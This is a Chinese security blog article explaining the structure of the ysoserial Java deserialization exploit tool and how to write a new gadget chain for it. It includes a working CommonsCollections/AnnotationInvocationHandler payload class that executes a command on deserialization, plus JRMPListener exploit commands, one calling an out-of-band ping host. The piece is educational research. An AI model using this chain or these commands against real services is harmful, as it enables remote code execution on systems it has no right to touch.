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ysoserial 结构分析与使用

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很早就接触了ysoserial这款工具，堪称为“java反序列利用神器”，有很多大佬针对这款工具的payload生成姿势分析的非常透彻，但很少分析这个工具的架构以及其使用时的一些坑点，因此写下本文与大家分享。同时也从中学习到了一些工具编写的设计思想，希望能够运用到自己工具当中。

 

0x01 下载编译使用

0x1 下载

从github上直接下载
git clone https://github.com/frohoff/ysoserial.git

0x2 编译

根据github上的编译提示，会出现编译错误

Requires Java 1.7+ and Maven 3.x+
mvn clean package -DskipTests

错误信息如下，主要是因为在pom.xml缺少commons-io的依赖

在pom.xml的dependencies标签里添加依赖项

        <dependency>
            <groupId>commons-io</groupId>
            <artifactId>commons-io</artifactId>
            <version>2.4</version>
        </dependency>

再次执行mvn clean package -DskipTests，编译成功在target目录下生成相对应的jar包

0x3 使用

主要有两种使用方式，一种是运行ysoserial.jar 中的主类函数，另一种是运行ysoserial中的exploit 类，二者的效果是不一样的，一般用第二种方式开启交互服务于。

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPListener 38471
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'ping -c 2  rce.267hqw.ceye.io'

这两种方式在之后的代码分析中会详细分析。

 

0x02 架构分析

从整体设计模式上分析该工具的编写方法，项目整体的目录结构如下所示：

|____ysoserial
| |____exploit
| | |____JRMPClient.java
| | |____JRMPListener.java
| |____secmgr
| | |____DelegateSecurityManager.java
| | |____ExecCheckingSecurityManager.java
| |____payloads
| | |____CommonsCollections3.java
| | |____ObjectPayload.java
| | |____util
| | | |____PayloadRunner.java
| | | |____Gadgets.java
| | | |____Reflections.java
| | | |____ClassFiles.java
| | | |____JavaVersion.java
| | |____annotation
| | | |____PayloadTest.java
| | | |____Authors.java
| | | |____Dependencies.java
| |____GeneratePayload.java
| |____Serializer.java
| |____Strings.java
| |____Deserializer.java

大体分为生成代码、利用库（工具库）、payloads库、序列化库 这四大库。

0x1 配置文件

从Maven项目的pom配置文件开始分析，pom.xml 的整体缩略图如下：

该配置文件主要对 build、dependencies、profiles 这五大方面进行配置。

1. build

配置编译打包相关操作，配置项目插件属性，在本项目中主要配置后者

<plugin>
<artifactId>maven-assembly-plugin</artifactId>
<configuration>
    <finalName>${project.artifactId}-${project.version}-all</finalName>
    <appendAssemblyId>false</appendAssemblyId>
    <archive>
        <manifest>
            <mainClass>ysoserial.GeneratePayload</mainClass>
        </manifest>
    </archive>
    <descriptor>assembly.xml</descriptor>
</configuration>
<executions>
    <execution>
        <id>make-assembly</id>
        <phase>package</phase>
        <goals>
            <goal>single</goal>
        </goals>
    </execution>
</executions>
</plugin>

在该配置中可以分析出，该项目编译之后的名称finalName，在编译后的jar包中的主执行类 ysoserial.GeneratePayload 。

2. dependencies

该标签是maven项目中用于配置项目依赖的核心配置，通过子标签的形式，将项目中的所有依赖jar包写在子配置中，类似如下配置：

在编译ysoserial 项目时要添加Commons-io依赖，需要指定版本以及artifactId

3. profiles

profile可以定义一系列的配置信息，然后指定其激活条件。这样我们就可以定义多个profile，然后每个profile对应不同的激活条件和配置信息，从而达到不同环境使用不同配置信息的效果。

0x2 整体结构

从jar包主类出发分析出整个jar包内部的类关系图

好在是项目中的类关系较为简单从图中可以看出，大体分为四个类结构

类名 作用
GeneratePayload 生成对应序列化内容
ObjectPayload(Utils) payload抽象类
*Serializer 序列化与反序列工具
PayloadRunner 测试反序列化利用链

对于类关系可以从三种执行方式考虑，详细的分析在代码功能模块

  1. 执行jar包生成指定类反序列payload
  2. 测试payload 利用效果
  3. 执行exploit文件夹下的代码，开启服务

 

0x03 代码分析

对框架有了大概的认识之后，分析框架实现，以及其代码设计思想。

0x1 动态调试

利用idea 导入Maven项目，之后利用pom.xml的包依赖关系下载对应的jar包，配置相关调试信息。这里需要注意的是idea调试jre环境最好是java 1.7 因为在1.7版本之后AnnotationInvocationHandler的反序列化利用链就被补了，为了方便调试选择对应的jdk版本。

0x2 入口函数

从pom.xml得知入口类函数为

函数调用关系如下图所示：

入口函数接受了来自命令行传进来的参数，分别用payloadType和command参数接收。之后通过getPayloadClass函数反射生成对应的类，有了类之后newInstance生成实例，利用getObject方法获取填好利用链的对象，通过Serializer.serialize函数生成序列化后内容，之后销毁对象。

0x3 Utils库分析

Utils中主要利用反射生成对应类

1. getPayloadClass

在Utils类中有两个该方法的重载，分析其中一个

这里需要定义 clazz 类型为Class<? extends ObjectPayload<?>> ，估计会有很对纳闷这个class类型为什么这么复杂。这就需要理解泛型中的类关系了。在泛型中关键部分使用object函数和最底级类擦除的，因此其类关系如下

利用Class.forName函数获取对应类

2. makePayloadObject

该函数是在执行exploit函数时一键式获取序列化内容，相关逻辑如下

final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);//获取对应类
......
final ObjectPayload payload = payloadClass.newInstance();//生成对象
 payloadObject = payload.getObject(payloadArg);//生产带有反序列化链的数据

主要是exploit模块调用该功能，用于生成服务协议相关的交互式序列化利用链。

3. releasePayload

释放对象内存

( (ReleaseableObjectPayload) payload ).release(object);

0x4 序列化与反序列化

代码单独存在两个文件中，分别完成包含利用链对象的序列化与反序列化工作。

为了测试方便在Deserializer类中包含了测试函数，从文件中读取序列化内容并进行反序列化触发验证漏洞。

public static void main(String[] args) throws ClassNotFoundException, IOException {
    final InputStream in = args.length == 0 ? System.in : new FileInputStream(new File(args[0]));
    Object object = deserialize(in);
}

0x5 payloads库

这里面内容就是ysoserial工具的核心了，包含了大量的反序列化链，使得反序列化漏洞利用更加简单方便。可归结为以下几个

利用 库版本
CommonsCollections1 commons-collections:3.1
CommonsCollections2 commons-collections4:4.0
CommonsCollections3 commons-collections:3.1
CommonsCollections4 commons-collections4:4.0
CommonsCollections5 commons-collections:3.1
CommonsCollections6 commons-collections:3.1
CommonsCollections7 commons-collections:3.1
BeanShell1 bsh:2.0b5
C3P0 c3p0:0.9.5.2、mchange-commons-java:0.2.11
Groovy1 groovy:2.3.9
Jdk7u21 groovy:2.3.9
Spring1 spring-core:4.1.4.RELEASE、spring-beans:4.1.4.RELEASE
URLDNS
rome:1.0 rome:1.0

以后会单独写文章对这些利用链进行详细的分析

0x6 exploit库

该库主要是开启交互式服务，例如如下使用方法

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections1 'open /Applications/Calculator.app/'

目前包含了多种利用方式JBoss、Jenkins、JMX、JRMP、JSF、RMI等。这里以JRMPListener为样例，分析该模块的编写方法。

利用utils库中的makepayload方法生成payload，调用集成好的JRMP服务端，等待客户端的连接，之后给客户端发送payload执行。

0x7 测试类

PayloadRunner为测试类，主要负责在编写添加payloads库之后测试其效果。使用方法如下：

在payloads单个类中添加main方法


public static void main(final String[] args) throws Exception {
    PayloadRunner.run(CommonsBeanutils1.class, args);
}

从下面可以看出其测试的逻辑

  1. 对传入的class用newInstance实例化
  2. 调用对象的getObject方法
  3. 获取到填充好利用链的对象
  4. 调用序列化方法进行序列化输出
  5. 调用反序列化函数触发序列化利用链

 

0x04 扩展payload库

将自己编写的payload放在下载的包中：路径ysoserial/src/main/java/ysoserial/payloads/，需要注意以下几点：

  1. 实现ObjectPayload接口
  2. 添加PayloadRunner测试方法
  3. 编写说明和注意事项

通过分析一条AnnotationInvocationHandler链，在ysoserail中编写自己的利用链。Transformer 利用链是反序列化利用链里最最基础的一个，下面对其进行简单的介绍。

0x1 InvokerTransformer

该类完成了最后的命令执行，其代码如下：

从参数中getClass获得对象类，利用反射的方法从类中获取方法对象（在参数中需指定方法名和参数），之后invoke该方法类（普通类需填充类对象作为参数）

因此在使用触发命令的时候就比较容易构造了

public class test {
    public static void main(String[] args) {
        InvokerTransformer it = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
        it.transform(Runtime.getRuntime());
    }
}

需要注意的是getMethod函数的两个参数均为数组，一个为类数组另一个为对象数组，用来表示参数的类型和内容。最后利用transform进行触发执行命令，之后再拓展利用链。

0x2 ChainedTransformer

链的形式就是一环扣一环，在本链中InvokerTransformer的触发在ChainedTransformer 的 transform 函数有调用

for循环调用transform数组元素的transform方法

0x3 TransformedMap

在TransformedMap的checkSetValue方法中涉及到了对valueTransformer对象调用transform方法，该对象正好是Transformer类

向上溯源找到同一类中的checkSetValue调用

在之后的分析中只需关注谁调用了TransformedMap的setValue方法就可以了，valueTransformer对象的赋值在构造方法中，因为构造方法为protected，所以可以采用public static 方法decorate调用，参数都是一样的。

0x4 AnnotationInvocationHandler

该注解类重写了父类的readObject方法并实现了Serializable接口，通过简单分析发现了其readObject方法中包含以下代码逻辑

 private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        Iterator var4 = this.memberValues.entrySet().iterator();
        ......
        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();
           ......
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));

            }
        }

    }

在类反序列的时候如果要反序列化的类有自己的readObject方法就会调用该方法而取代调用ObjectInputStream的defaultReadObject默认反序列化方法，分析发现调用了setValue方法，因此我们就可以在这里有所作为了。

0x5 编写payload库

利用transformer链构造一个ysoserial里面没有的序列化利用链，分析整个链在ysoserial中编写方法。

1. 构造链

整个利用链可以用下图概括

2. 创建transformers数组

目前网上构造Transformer数组的方法采用getMethod方法获取getRuntime方法，自己在编写利用时有个疑惑为什么不直接invoke调用getRuntime方法，这样岂不是更加简单方便，试验如下

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("getRuntime", null, null),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);

Transformer第一个元素会原状态返回，如果ConstantTransformer参数设置的是Runtime.class 在第二个元素执行transform函数的时候就会抛异常，原因是InvokerTransformer会获取transform函数参数的类并调用getMethod函数，如果是Runtime.class ，它的getClass方法获取的是Object类，这时再搜索getRuntime方法时就会抛出异常，因此这里只能用Runtime对象当做链的第一个参数，但是问题又来了。

新的问题是在代码里编写调用transform触发函数是可以的，但是一旦反序列化该链就会报错，因为 Runtime没有实现Serializable接口，所以这个想法就被彻底否掉了。最后还是采用以下写法

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("getRuntime", null, null),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};

这样做的好处是，在生成链的全程new的对象都实现了Serializable接口，这意味他们都可以序列化。

3. 将数组放入TransformedMap

Transformer chainedTransformer = new ChainedTransformer(transformers);
Map inMap = new HashMap();
inMap.put("value", "aa");
Map outMap = TransformedMap.decorate(inMap, null, chainedTransformer);

这里有个坑如果inMap put 的key名必须是value，相关代码在AnnotationInvocationHandler readObject方法中有所体现

从代码中很明显的看出在var3中get了value，所以如果var5的key不是value的话，在358行的if就不能就去，也就不能执行位于里面的触发链函数。

4. 反射获取AnnotationInvocationHandler对象

AnnotationInvocationHandler不是public类，外部包不能直接创建。需要通过反射setAccessible(true)设置访问其中的私有方法。于是就有下面的代码

Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(new Class[] { Class.class, Map.class });
ctor.setAccessible(true);
Object instance = ctor.newInstance(new Object[] { Retention.class, outMap });

5. 编写测试代码

通过对ysoserial框架的分析，PayloadRunner是payload的测试方法，其中包含了序列化与模拟反序列化操作，主要测试反序列化链的攻击效果。代码如下

public static void main(String[] args) throws Exception {
    PayloadRunner.run(mytest.class, args);
}

6. 整体代码

自己编写的类需要继承和实现PayloadRunner类和ObjectPayload接口，方便测试和Payload生成，重写getObject方法并返回构造好的序列化链对象。

public class mytest extends PayloadRunner implements ObjectPayload<Object> {
    public Object getObject(final String command) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
//            new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
            new InvokerTransformer("getRuntime", null, null),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        Map inMap = new HashMap();
        inMap.put("value", "aa");
        Map outMap = TransformedMap.decorate(inMap, null, chainedTransformer);
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cls.getDeclaredConstructor(new Class[] { Class.class, Map.class });
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(new Object[] { Retention.class, outMap });
        return instance;
    }
    public static void main(String[] args) throws Exception {
        PayloadRunner.run(mytest.class, args);
    }

}

 

0x05 总结

初步认识了ysoserial工具编写的架构，分析各个模块之间的耦合关系，该工具模块较为完整从payload选择、生成、测试、输出各个方面偶有考虑，从中学到了很多编写工具的方法，在最后也对该工具的扩展做了总结，但是目前来看还有很多没有分析到，比如那几个经典的反序列化利用链以及exploit库中的代码交互等等，会慢慢补上的。

 

参考文章

https://m.yisu.com/zixun/53350.html
https://wooyun.js.org/drops/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%B7%A5%E5%85%B7ysoserial%E5%88%86%E6%9E%90.html